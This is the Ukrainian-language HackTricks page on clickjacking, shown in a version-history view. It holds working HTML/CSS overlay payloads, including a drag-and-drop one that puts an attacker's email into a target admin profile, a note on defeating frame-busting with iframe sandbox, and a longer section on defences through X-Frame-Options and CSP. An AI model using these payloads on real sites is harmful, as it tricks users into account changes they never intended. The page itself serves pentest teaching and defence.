hacktricks/pentesting-web/clickjacking.md

226 lines
16 KiB
Markdown
Raw Normal View History

2024-03-29 18:49:46 +00:00
# Клікджекінг
2022-04-28 16:01:33 +00:00
<details>
2024-03-29 18:49:46 +00:00
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
Інші способи підтримки HackTricks:
2023-12-31 01:25:17 +00:00
2024-03-29 18:49:46 +00:00
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-03-29 18:49:46 +00:00
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Отримайте доступ сьогодні:
2022-04-28 16:01:33 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-03-29 18:49:46 +00:00
## Що таке Клікджекінг
2024-03-29 18:49:46 +00:00
Під час атаки клікджекінгу **користувача обманюють**, щоб він **клацнув** на **елемент** веб-сторінки, який або **невидимий**, або прикритий під інший елемент. Ця маніпуляція може призвести до непередбачуваних наслідків для користувача, таких як завантаження шкідливого програмного забезпечення, перенаправлення на шкідливі веб-сторінки, надання облікових даних або конфіденційної інформації, переказ коштів або онлайн-покупки продуктів.
2024-02-06 03:10:38 +00:00
2024-03-29 18:49:46 +00:00
### Хитрість з попереднім заповненням форми
2024-03-29 18:49:46 +00:00
Іноді можливо **заповнити значення полів форми, використовуючи GET-параметри при завантаженні сторінки**. Злоумисник може скористатися цією поведінкою, щоб заповнити форму довільними даними і відправити клікджекінговий вміст, щоб користувач натиснув кнопку "Відправити".
2020-10-13 11:29:54 +00:00
2024-03-29 18:49:46 +00:00
### Заповнення форми за допомогою перетягування та відпускання
2020-10-13 11:29:54 +00:00
2024-03-29 18:49:46 +00:00
Якщо вам потрібно, щоб користувач **заповнив форму**, але ви не хочете прямо просити його написати певну інформацію (наприклад, електронну пошту або конкретний пароль, який ви знаєте), ви можете просто попросити його **перетягнути та відпустити** щось, що напише ваші керовані дані, як у [**цьому прикладі**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
2024-03-29 18:49:46 +00:00
### Базовий Пейлоад
```markup
<style>
2024-03-29 18:49:46 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
2024-03-29 18:49:46 +00:00
### Багатоетапний Пейлоад
```markup
<style>
2024-03-29 18:49:46 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
2024-03-29 18:49:46 +00:00
### Перетягування та клацання вразливість
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
2024-03-29 18:49:46 +00:00
### XSS + Клікджекінг
2020-10-13 11:29:54 +00:00
2024-03-29 18:49:46 +00:00
Якщо ви виявили **атаку XSS, яка потребує кліку користувача** на певний елемент для **спрацювання** XSS, і сторінка **вразлива до клікджекінгу**, ви можете використати це, щоб обманом змусити користувача клікнути на кнопку/посилання.\
Приклад:\
_Ви знайшли **само XSS** в деяких конфіденційних деталях облікового запису (деталі, які **може встановити і прочитати тільки ви**). Сторінка з **формою** для встановлення цих деталей **вразлива** до **клікджекінгу**, і ви можете **попередньо заповнити** **форму** з параметрами GET._\
\_\_Атакувальник може підготувати атаку **клікджекінгу** на цю сторінку, **попередньо заповнюючи** **форму** **XSS-навантаженням** і обманюючи **користувача** клікнути на **Відправити** форму. Таким чином, **при відправленні форми** і зміні значень, **користувач виконає XSS**.
2024-03-29 18:49:46 +00:00
## Стратегії для запобігання клікджекінгу
2024-03-29 18:49:46 +00:00
### Захист на стороні клієнта
2024-03-29 18:49:46 +00:00
Скрипти, що виконуються на стороні клієнта, можуть виконувати дії для запобігання клікджекінгу:
2024-03-29 18:49:46 +00:00
* Переконання, що вікно додатка є головним або верхнім вікном.
* Роблення всіх фреймів видимими.
* Запобігання клікам на невидимі фрейми.
* Виявлення та попередження користувачів про можливі спроби клікджекінгу.
2024-03-29 18:49:46 +00:00
Однак ці скрипти для вибивання фреймів можуть бути обійдені:
2024-03-29 18:49:46 +00:00
* **Налаштування безпеки браузерів:** Деякі браузери можуть блокувати ці скрипти на основі своїх налаштувань безпеки або відсутності підтримки JavaScript.
* **Атрибут HTML5 iframe `sandbox`:** Атакувальник може нейтралізувати скрипти для вибивання фреймів, встановивши атрибут `sandbox` зі значеннями `allow-forms` або `allow-scripts` без `allow-top-navigation`. Це запобігає перевірці iframe на те, чи воно є верхнім вікном, наприклад,
2024-02-06 03:10:38 +00:00
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
2024-03-29 18:49:46 +00:00
### Захист на стороні сервера
2024-02-06 03:10:38 +00:00
#### X-Frame-Options
2024-03-29 18:49:46 +00:00
**Заголовок відповіді HTTP `X-Frame-Options`** повідомляє браузерам про законність відображення сторінки в `<frame>` або `<iframe>`, допомагаючи запобігти Clickjacking:
2024-03-29 18:49:46 +00:00
* `X-Frame-Options: deny` - Жоден домен не може відображати вміст.
* `X-Frame-Options: sameorigin` - Тільки поточний сайт може відображати вміст.
* `X-Frame-Options: allow-from https://trusted.com` - Тільки вказаний 'uri' може відображати сторінку.
* Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери віддають перевагу директиві CSP frame-ancestors.
2024-03-29 18:49:46 +00:00
#### Директива frame-ancestors в політиці безпеки контенту (CSP)
2024-03-29 18:49:46 +00:00
**Директива `frame-ancestors` в CSP** є рекомендованим методом захисту від Clickjacking:
2024-03-29 18:49:46 +00:00
* `frame-ancestors 'none'` - Схоже на `X-Frame-Options: deny`.
* `frame-ancestors 'self'` - Схоже на `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Схоже на `X-Frame-Options: allow-from`.
2024-03-29 18:49:46 +00:00
Наприклад, наступний CSP дозволяє відображення тільки з того ж домену:
`Content-Security-Policy: frame-ancestors 'self';`
2024-03-29 18:49:46 +00:00
Додаткові деталі та складні приклади можна знайти в [документації CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) та [документації Mozilla CSP frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
2024-02-06 03:10:38 +00:00
2024-03-29 18:49:46 +00:00
### Політика безпеки контенту (CSP) з `child-src` та `frame-src`
2024-02-06 03:10:38 +00:00
2024-03-29 18:49:46 +00:00
**Політика безпеки контенту (CSP)** - це захисний захід, який допомагає запобігти Clickjacking та іншим атакам ін'єкції коду, вказуючи, які джерела браузер повинен дозволити завантажувати вміст.
2024-03-29 18:49:46 +00:00
#### Директива `frame-src`
2024-02-06 03:10:38 +00:00
2024-03-29 18:49:46 +00:00
* Визначає дійсні джерела для фреймів.
* Конкретніше, ніж директива `default-src`.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
2024-03-29 18:49:46 +00:00
Ця політика дозволяє фрейми з того ж джерела (self) та https://trusted-website.com.
2024-02-06 03:10:38 +00:00
2024-03-29 18:49:46 +00:00
#### Директива `child-src`
2024-02-06 03:10:38 +00:00
2024-03-29 18:49:46 +00:00
* Введена на рівні CSP 2 для встановлення дійсних джерел для веб-робітників та фреймів.
* Діє як резервне значення для frame-src та worker-src.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
2024-03-29 18:49:46 +00:00
Ця політика дозволяє фрейми та робочі процеси з того ж джерела (self) та https://trusted-website.com.
2024-02-06 03:10:38 +00:00
2024-03-29 18:49:46 +00:00
**Примітки щодо використання:**
2024-03-29 18:49:46 +00:00
* Застаріння: child-src поступово виходить з ужитку на користь frame-src та worker-src.
* Резервне поведінка: Якщо frame-src відсутній, child-src використовується як резерв для фреймів. Якщо обидва відсутні, використовується default-src.
* Суворе визначення джерела: Включайте лише довірені джерела в директиви, щоб запобігти експлуатації.
2024-02-06 03:10:38 +00:00
2024-03-29 18:49:46 +00:00
#### Сценарії JavaScript для руйнування фреймів
2024-02-06 03:10:38 +00:00
2024-03-29 18:49:46 +00:00
Хоча не є абсолютно надійними, скрипти на основі JavaScript для руйнування фреймів можуть бути використані для запобігання вбудовуванню веб-сторінки. Приклад:
2024-02-06 03:10:38 +00:00
```javascript
if (top !== self) {
2024-03-29 18:49:46 +00:00
top.location = self.location;
2024-02-06 03:10:38 +00:00
}
```
2024-03-29 18:49:46 +00:00
#### Використання анти-CSRF токенів
2024-03-29 18:49:46 +00:00
* **Перевірка токенів:** Використовуйте анти-CSRF токени в веб-додатках, щоб забезпечити, що запити, які змінюють стан, здійснюються навмисно користувачем, а не через Clickjacked сторінку.
2024-03-29 18:49:46 +00:00
## Посилання
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-03-29 18:49:46 +00:00
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Отримайте доступ сьогодні:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2024-03-29 18:49:46 +00:00
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
Інші способи підтримки HackTricks:
2023-12-31 01:25:17 +00:00
2024-03-29 18:49:46 +00:00
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
2022-04-28 16:01:33 +00:00
</details>